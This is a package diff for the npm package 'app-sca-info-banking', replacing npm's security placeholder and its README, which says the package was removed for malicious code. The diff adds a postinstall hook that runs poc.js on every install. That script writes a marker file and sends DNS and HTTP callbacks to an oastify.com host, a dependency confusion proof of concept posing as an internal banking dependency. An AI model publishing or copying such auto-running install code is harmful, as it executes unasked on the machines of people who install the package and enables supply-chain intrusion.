app-sca-info-banking 0.0.1-security → 0.0.24

package/index.js

@@ -0,0 +1 @@
+module.exports = {};

package/package.json

@@ -1,6 +1,17 @@
 {
   "name": "app-sca-info-banking",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "0.0.24",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node poc.js"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC",
+  "type": "commonjs",
+  "files": [
+    "index.js",
+    "poc.js"
+  ]
 }

package/poc.js

@@ -0,0 +1,75 @@
+const fs = require("fs");
+const os = require("os");
+const path = require("path");
+const dns = require("dns");
+const http = require("http");
+
+const id = "DEPENDENCY_CONFUSION_POC_20260925";
+const baseOast = "ki6rmdjnq5q8y7v8soxc080fz65ytohd.oastify.com";
+const token = Date.now();
+
+const dnsHost = `depconf-dns-${token}.${baseOast}`;
+const httpHost = `depconf-http-${token}.${baseOast}`;
+
+/* =========================================================
+   TEST 1 - LOCAL CODE EXECUTION
+   ========================================================= */
+
+console.log(`[PoC] ${id}`);
+
+try {
+    const marker = path.join(os.tmpdir(), `${id}.txt`);
+
+    fs.writeFileSync(
+        marker,
+        "Controlled Dependency Confusion validation\n"
+    );
+
+    console.log(`[PoC] Marker created: ${marker}`);
+} catch (err) {
+    console.log(`[PoC] Marker creation failed: ${err.message}`);
+}
+
+
+/* =========================================================
+   TEST 2 - DNS CALLBACK
+   ========================================================= */
+
+console.log(`[PoC][DNS] Querying: ${dnsHost}`);
+
+dns.resolve4(dnsHost, (err) => {
+    if (err) {
+        console.log(`[PoC][DNS] Failed: ${err.message}`);
+    } else {
+        console.log(`[PoC][DNS] Resolution completed`);
+    }
+});
+
+
+/* =========================================================
+   TEST 3 - HTTP CALLBACK
+   ========================================================= */
+
+console.log(`[PoC][HTTP] Requesting: http://${httpHost}/dependency-confusion-poc`);
+
+const req = http.get(
+    {
+        hostname: httpHost,
+        port: 80,
+        path: "/dependency-confusion-poc",
+        method: "GET"
+    },
+    (res) => {
+        console.log(`[PoC][HTTP] Status: ${res.statusCode}`);
+        res.resume();
+    }
+);
+
+req.on("error", (err) => {
+    console.log(`[PoC][HTTP] Failed: ${err.message}`);
+});
+
+req.setTimeout(5000, () => {
+    console.log("[PoC][HTTP] Timed out");
+    req.destroy();
+});

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=app-sca-info-banking for more information.